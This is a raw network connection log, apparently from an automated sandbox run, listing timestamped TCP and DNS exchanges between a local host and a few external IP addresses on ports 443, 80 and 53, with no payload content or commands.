Oct 26, 2024 13:44:32.113396883 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:32.113404036 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:32.113646030 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:32.288204908 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:45.085112095 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 26, 2024 13:44:45.085201979 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 26, 2024 13:44:45.090856075 CEST	80	49723	199.232.210.172	192.168.2.4
Oct 26, 2024 13:44:45.091326952 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 26, 2024 13:44:45.091392040 CEST	80	49724	199.232.210.172	192.168.2.4
Oct 26, 2024 13:44:45.091614008 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 26, 2024 13:44:47.199982882 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.243372917 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.453959942 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.453986883 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.453993082 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.454071045 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.454086065 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.454108953 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.454132080 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.454175949 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.454175949 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.454188108 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.454200983 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.454240084 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.457293987 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.457313061 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.457382917 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.457389116 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.457398891 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.457437038 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.465466976 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.465482950 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:47.465495110 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:47.465501070 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:54.167293072 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:54.172689915 CEST	53	49745	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.173091888 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:54.173165083 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:54.173177004 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:54.178770065 CEST	53	49745	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.178801060 CEST	53	49745	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.768428087 CEST	53	49745	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.768759012 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:54.775335073 CEST	53	49745	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.775437117 CEST	49745	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:45:07.524094105 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:07.524132967 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:07.524218082 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:07.524565935 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:07.524580956 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.255511999 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.255876064 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.260240078 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.260257006 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.261430025 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.270792961 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.315332890 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.512073040 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.512136936 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.512181044 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.512207031 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.512245893 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.512260914 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.512289047 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.627587080 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.627651930 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.627720118 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.627748966 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.627774000 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.627785921 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.742902040 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.742938995 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.743099928 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.743119955 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.743169069 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.858320951 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.858354092 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.858524084 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.858552933 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.858596087 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.973792076 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.973825932 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.973994970 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:08.974020004 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:08.974064112 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.088397980 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.088430882 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.088663101 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.088686943 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.088733912 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.203305960 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.203350067 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.203388929 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.203407049 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.203423977 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.203444004 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.248209953 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.248235941 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.248302937 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.248322010 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.248353004 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.248383999 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.363138914 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.363212109 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.363354921 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.363378048 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.363400936 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.363425016 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.435754061 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.435812950 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.435909986 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.435939074 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.435973883 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.435997963 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.549674988 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.549729109 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.549885988 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.549915075 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.549959898 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.868166924 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.868185997 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.868215084 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.868316889 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.868349075 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.868508101 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.868508101 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.981813908 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.981843948 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.981966972 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.981980085 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.982017994 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.982923031 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.982994080 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.983001947 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.983015060 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.983045101 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.983079910 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.983134985 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.983149052 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:09.983159065 CEST	49746	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:09.983165026 CEST	443	49746	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.025697947 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.025728941 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.025806904 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.026810884 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.026822090 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.027992010 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.028013945 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.028079987 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.028213978 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.028225899 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.029393911 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.029468060 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.029534101 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.030930042 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.030952930 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.030951977 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.030961990 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.031021118 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.031043053 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.031187057 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.031219006 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.031302929 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.031339884 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.031374931 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.031388044 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.758275986 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.759099007 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.759116888 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.759660959 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.759665966 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.767293930 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.767739058 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.767784119 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.768100977 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.768114090 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.777991056 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.778374910 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.778390884 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.778654099 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.778734922 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.778739929 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.778937101 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.778968096 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.779297113 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.779308081 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.781862974 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.782095909 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.782111883 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.782413006 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.782423019 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.887923956 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.887984991 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.888109922 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.888164997 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.888205051 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.888616085 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.888644934 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.888658047 CEST	49747	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.888664007 CEST	443	49747	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.892836094 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.892878056 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.892976046 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.893244982 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.893260002 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.903662920 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.903726101 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.903803110 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.903923035 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.903923035 CEST	49749	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.903961897 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.903990030 CEST	443	49749	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.906896114 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.906929970 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.907022953 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.907210112 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.907223940 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911348104 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911675930 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911699057 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911750078 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911788940 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.911833048 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.911971092 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.911995888 CEST	49748	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.912003994 CEST	443	49748	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912029982 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.912096977 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.912117004 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912142038 CEST	49751	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.912156105 CEST	443	49751	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912782907 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912806988 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912903070 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.912910938 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.912977934 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.913022995 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.915045023 CEST	49750	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.915049076 CEST	443	49750	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.918081045 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.918114901 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.918214083 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.918340921 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.918349981 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.919332027 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.919349909 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.919415951 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.919892073 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.919941902 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.920001984 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.920113087 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.920118093 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:10.920129061 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:10.920136929 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.642436028 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.642528057 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.643044949 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.643049002 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.643064976 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.643068075 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.643599033 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.643611908 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.643639088 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.643646955 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.655081987 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.655770063 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.655833006 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.656317949 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.656326056 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.657562971 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.657934904 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.657944918 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.658384085 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.658390045 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.659531116 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.659832954 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.659853935 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.660175085 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.660198927 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.772702932 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.772850037 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.772932053 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.773127079 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.773149014 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.773164034 CEST	49755	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.773173094 CEST	443	49755	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.775887966 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.776266098 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.776334047 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.776355982 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.776370049 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.776379108 CEST	49752	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.776385069 CEST	443	49752	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.776963949 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.777002096 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.777064085 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.777245998 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.777259111 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.778484106 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.778521061 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.778625011 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.778697968 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.778707981 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.786123037 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.786187887 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.786241055 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.786336899 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.786348104 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.786356926 CEST	49754	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.786361933 CEST	443	49754	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.788130999 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.788207054 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.788327932 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788327932 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788356066 CEST	49756	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788368940 CEST	443	49756	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.788733959 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788757086 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.788824081 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788953066 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.788964033 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.790307999 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.790333033 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.790404081 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.790523052 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.790530920 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.794234991 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.794317007 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.794365883 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.794430017 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.794437885 CEST	443	49753	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.794451952 CEST	49753	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.794457912 CEST	443	49753	13.107.246.51	192.168.2.4
